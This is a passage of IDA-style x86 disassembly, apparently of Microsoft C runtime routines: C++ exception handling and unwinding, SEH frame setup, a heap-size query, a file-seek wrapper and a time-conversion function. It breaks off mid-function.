; Attributes: bp-based frame


sub_421DBD	proc near		; CODE XREF: sub_421C16+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_4E15A0, 0
		push	esi
		push	edi
		jz	short loc_421DEE
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D06E
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421E61


loc_421DEE:				; CODE XREF: sub_421DBD+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D197
		add	esp, 14h
		mov	esi, eax


loc_421E0A:				; CODE XREF: sub_421DBD+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421E61
		cmp	edi, [esi]
		jl	short loc_421E59
		cmp	edi, [esi+4]
		jg	short loc_421E59
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421E33
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421E59


loc_421E33:				; CODE XREF: sub_421DBD+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421F76
		add	esp, 2Ch


loc_421E59:				; CODE XREF: sub_421DBD+57j
					; sub_421DBD+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421E0A
; ---------------------------------------------------------------------------


loc_421E61:				; CODE XREF: sub_421DBD+2Fj
					; sub_421DBD+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421DBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E65	proc near		; CODE XREF: sub_421C16+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_421EBC
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_421EBC
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_421E96
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421EB8


loc_421E96:				; CODE XREF: sub_421E65+1Fj
		test	byte ptr [esi],	2
		jz	short loc_421EA0
		test	byte ptr [edi],	8
		jz	short loc_421EB8


loc_421EA0:				; CODE XREF: sub_421E65+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_421EAF
		test	byte ptr [edi],	1
		jz	short loc_421EB8


loc_421EAF:				; CODE XREF: sub_421E65+43j
		test	al, 2
		jz	short loc_421EBC
		test	byte ptr [edi],	2
		jnz	short loc_421EBC


loc_421EB8:				; CODE XREF: sub_421E65+2Fj
					; sub_421E65+39j ...
		xor	eax, eax
		jmp	short loc_421EBF
; ---------------------------------------------------------------------------


loc_421EBC:				; CODE XREF: sub_421E65+Bj
					; sub_421E65+14j ...
		push	1
		pop	eax


loc_421EBF:				; CODE XREF: sub_421E65+55j
		pop	edi
		pop	esi
		retn
sub_421E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EC2	proc near		; CODE XREF: sub_421B7B+34p
					; sub_421F76+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A0
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_421EF4:				; CODE XREF: sub_421EC2+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_421F4E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_421F03
		cmp	esi, [edi+4]
		jl	short loc_421F08


loc_421F03:				; CODE XREF: sub_421EC2+3Aj
		call	sub_422422


loc_421F08:				; CODE XREF: sub_421EC2+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_421F23
		push	103h
		push	ebx
		push	eax
		call	sub_422380


loc_421F23:				; CODE XREF: sub_421EC2+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_421F43
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_421F60
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_421F43:				; CODE XREF: sub_421EC2+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_421EF4
; ---------------------------------------------------------------------------


loc_421F4E:				; CODE XREF: sub_421EC2+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F60	proc near		; CODE XREF: sub_421EC2+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_421F71
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421F71:				; CODE XREF: sub_421F60+Cj
		jmp	sub_4223CC
sub_421F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F76	proc near		; CODE XREF: sub_421C16+151p
					; sub_421DBD+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_421F98
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422127
		add	esp, 10h


loc_421F98:				; CODE XREF: sub_421F76+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_421FA4
		push	edi
		jmp	short loc_421FA7
; ---------------------------------------------------------------------------


loc_421FA4:				; CODE XREF: sub_421F76+29j
		push	[ebp+arg_24]


loc_421FA7:				; CODE XREF: sub_421F76+2Cj
		call	sub_41CF70
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_421EC2
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_421FF1
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_421FEC
		push	edi
		push	eax
		call	sub_41CF2E


loc_421FEC:				; CODE XREF: sub_421F76+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421F76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421FF1	proc near		; CODE XREF: sub_421F76+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B0
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_4E1598
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_4E159C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_4E1598, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_4E159C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41CFF5
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4220B7
		mov	eax, [ebp+var_2C]


loc_42207E:				; CODE XREF: sub_422097+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421FF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42208D	proc near		; DATA XREF: seg001:004278C0o
		push	dword ptr [ebp-14h]
		call	sub_4220FD
		pop	ecx
		retn
sub_42208D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422097	proc near		; DATA XREF: seg001:004278C4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D256
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_42207E
sub_422097	endp

; ---------------------------------------------------------------------------


loc_4220AF:				; DATA XREF: seg001:004278B8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_4220B7	proc near		; CODE XREF: sub_421FF1+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_4E1598, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_4E159C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4220FC
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4220FC
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4220FC
		cmp	[ebp-24h], ebx
		jnz	short locret_4220FC
		cmp	[ebp-2Ch], ebx
		jz	short locret_4220FC
		call	sub_41D2BE
		push	eax
		push	edi
		call	sub_4222EB
		pop	ecx
		pop	ecx

locret_4220FC:				; CODE XREF: sub_4220B7+1Cj
					; sub_4220B7+22j ...
		retn
sub_4220B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FD	proc near		; CODE XREF: sub_42208D+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422124
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422124
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422124
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422124
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422124:				; CODE XREF: sub_4220FD+Cj
					; sub_4220FD+12j ...
		xor	eax, eax
		retn
sub_4220FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422127	proc near		; CODE XREF: sub_421F76+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_4222D0
		cmp	byte ptr [eax+8], 0
		jz	loc_4222D0
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_4222D0
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_4221C4
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4245D0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		push	1
		push	edi
		call	sub_4245EC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_4221B5:				; CODE XREF: sub_422127+F5j
		push	eax
		call	sub_422352
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_4222CC
; ---------------------------------------------------------------------------


loc_4221C4:				; CODE XREF: sub_422127+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_42221E
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4245D0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		push	1
		push	edi
		call	sub_4245EC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D330
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_4222CC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4222CC
		add	esi, 8
		push	esi
		jmp	short loc_4221B5
; ---------------------------------------------------------------------------


loc_42221E:				; CODE XREF: sub_422127+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422266
		call	sub_4245D0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		push	1
		push	edi
		call	sub_4245EC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4222C7
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422352
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D330
		add	esp, 0Ch
		jmp	short loc_4222CC
; ---------------------------------------------------------------------------


loc_422266:				; CODE XREF: sub_422127+103j
		call	sub_4245D0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4222C7
		push	1
		push	edi
		call	sub_4245EC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4222C7
		push	dword ptr [esi+18h]
		call	sub_424608
		pop	ecx
		test	eax, eax
		jz	short loc_4222C7
		test	byte ptr [esi],	4
		jz	short loc_4222AD
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422352
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41CF69
		jmp	short loc_4222CC
; ---------------------------------------------------------------------------


loc_4222AD:				; CODE XREF: sub_422127+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422352
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41CF62
		jmp	short loc_4222CC
; ---------------------------------------------------------------------------


loc_4222C7:				; CODE XREF: sub_422127+6Aj
					; sub_422127+7Cj ...
		call	sub_422422


loc_4222CC:				; CODE XREF: sub_422127+98j
					; sub_422127+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_4222D0:				; CODE XREF: sub_422127+2Ej
					; sub_422127+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422127	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_4223CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222EB	proc near		; CODE XREF: sub_421C16+170p
					; sub_4220B7+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422332
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422332
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41CF62
		or	[ebp+var_4], 0FFFFFFFFh


loc_422332:				; CODE XREF: sub_4222EB+2Aj
					; sub_4222EB+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222EB	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_4223CC

; =============== S U B	R O U T	I N E =======================================



sub_422352	proc near		; CODE XREF: sub_422127+8Fp
					; sub_422127+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422373
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422373:				; CODE XREF: sub_422352+12j
		pop	esi
		retn
sub_422352	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422380	proc near		; CODE XREF: sub_41CFF5+40p
					; sub_421EC2+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D2E1
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_4223BF
		mov	ecx, 2


loc_4223BF:				; CODE XREF: sub_422380+38j
		push	ecx
		call	sub_41D2E1
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223CC	proc near		; CODE XREF: sub_421C16:loc_421DB8j
					; sub_421F60:loc_421F71j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424620 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E8
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_4E15A4
		test	eax, eax
		jz	short loc_422414
		mov	[ebp+var_4], 1
		call	eax ; dword_4E15A4
		jmp	short loc_422410
; ---------------------------------------------------------------------------


loc_422409:				; DATA XREF: seg001:004278F8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42240D:				; DATA XREF: seg001:004278FCo
		mov	esp, [ebp+var_18]


loc_422410:				; CODE XREF: sub_4223CC+3Bj
		and	[ebp+var_4], 0


loc_422414:				; CODE XREF: sub_4223CC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_42241D:				; DATA XREF: seg001:004278F0o
		jmp	loc_424620
sub_4223CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422422	proc near		; CODE XREF: sub_41D197+23p
					; sub_41D197:loc_41D202p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_442B34
		test	eax, eax
		jz	short loc_42246A
		mov	[ebp+var_4], 1
		call	eax ; sub_4223CC
		jmp	short loc_422466
; ---------------------------------------------------------------------------


loc_42245F:				; DATA XREF: seg001:00427910o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422463:				; DATA XREF: seg001:00427914o
		mov	esp, [ebp+var_18]


loc_422466:				; CODE XREF: sub_422422+3Bj
		and	[ebp+var_4], 0


loc_42246A:				; CODE XREF: sub_422422+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422473:				; DATA XREF: seg001:00427908o
		jmp	sub_4223CC
sub_422422	endp


; =============== S U B	R O U T	I N E =======================================



sub_422478	proc near		; CODE XREF: sub_41D673+7p
					; sub_41D673+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41E3A7
		test	eax, eax
		pop	ecx
		jz	short loc_422490
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_422490:				; CODE XREF: sub_422478+Ej
		push	esi
		push	0
		push	ds:dword_4E2B80
		call	ds:dword_427058	; RtlSizeHeap
		pop	esi
		retn
sub_422478	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224A1	proc near		; CODE XREF: sub_41D721+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_42255D
		cmp	ebx, 8Ah
		jg	loc_42255D
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_442FFC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4224E0
		cmp	edi, 2
		jle	short loc_4224E0
		inc	esi


loc_4224E0:				; CODE XREF: sub_4224A1+37j
					; sub_4224A1+3Cj
		call	sub_424637
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, ds:dword_442F18
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_422553
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422559
		cmp	ds:dword_442F1C, 0
		jz	short loc_422559
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4248AA
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422559


loc_422553:				; CODE XREF: sub_4224A1+90j
		add	ecx, ds:dword_442F20


loc_422559:				; CODE XREF: sub_4224A1+96j
					; sub_4224A1+9Fj ...
		mov	eax, ecx
		jmp	short loc_422560
; ---------------------------------------------------------------------------


loc_42255D:				; CODE XREF: sub_4224A1+13j
					; sub_4224A1+1Fj
		or	eax, 0FFFFFFFFh


loc_422560:				; CODE XREF: sub_4224A1+BAj
		pop	ebx
		leave
		retn
sub_4224A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_422563	proc near		; DATA XREF: seg002:0042902Co
		mov	eax, ds:dword_4E2940
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_422577
		mov	eax, 200h
		jmp	short loc_42257D
; ---------------------------------------------------------------------------


loc_422577:				; CODE XREF: sub_422563+Bj
		cmp	eax, esi
		jge	short loc_422582
		mov	eax, esi


loc_42257D:				; CODE XREF: sub_422563+12j
		mov	ds:dword_4E2940, eax


loc_422582:				; CODE XREF: sub_422563+16j
		push	4
		push	eax
		call	sub_424B96
		pop	ecx
		mov	ds:dword_4E1924, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4225B6
		push	4
		push	esi
		mov	ds:dword_4E2940, esi
		call	sub_424B96
		pop	ecx
		mov	ds:dword_4E1924, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4225B6
		push	1Ah
		call	sub_41E0F9
		pop	ecx


loc_4225B6:				; CODE XREF: sub_422563+30j
					; sub_422563+49j
		xor	ecx, ecx
		mov	eax, offset off_442B38


loc_4225BD:				; CODE XREF: sub_422563+6Ej
		mov	edx, ds:dword_4E1924
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_442DB8
		jl	short loc_4225BD
		xor	edx, edx
		mov	ecx, offset dword_442B48


loc_4225DA:				; CODE XREF: sub_422563+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_4E1820[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4225F7
		test	eax, eax
		jnz	short loc_4225FA


loc_4225F7:				; CODE XREF: sub_422563+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4225FA:				; CODE XREF: sub_422563+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_442BA8
		jl	short loc_4225DA
		pop	esi
		retn
sub_422563	endp


; =============== S U B	R O U T	I N E =======================================



sub_422608	proc near		; DATA XREF: seg002:0042903Co

; FUNCTION CHUNK AT 00424C13 SIZE 00000058 BYTES

		call	sub_41E2B7
		cmp	ds:byte_4E1538,	0
		jz	short locret_42261B
		jmp	loc_424C13
; ---------------------------------------------------------------------------

locret_42261B:				; CODE XREF: sub_422608+Cj
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================



sub_42261C	proc near		; CODE XREF: seg000:0041D924p
					; sub_41EF81+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_4E1920
		push	esi
		push	edi
		jnb	short loc_42269E
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4E1820h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_42269E
		push	eax
		call	sub_4237BE
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422660
		mov	ds:dword_4E14F8, 9
		jmp	short loc_4226AF
; ---------------------------------------------------------------------------


loc_422660:				; CODE XREF: sub_42261C+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_427120	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422680
		call	ds:dword_42708C	; RtlGetLastWin32Error
		jmp	short loc_422682
; ---------------------------------------------------------------------------


loc_422680:				; CODE XREF: sub_42261C+5Aj
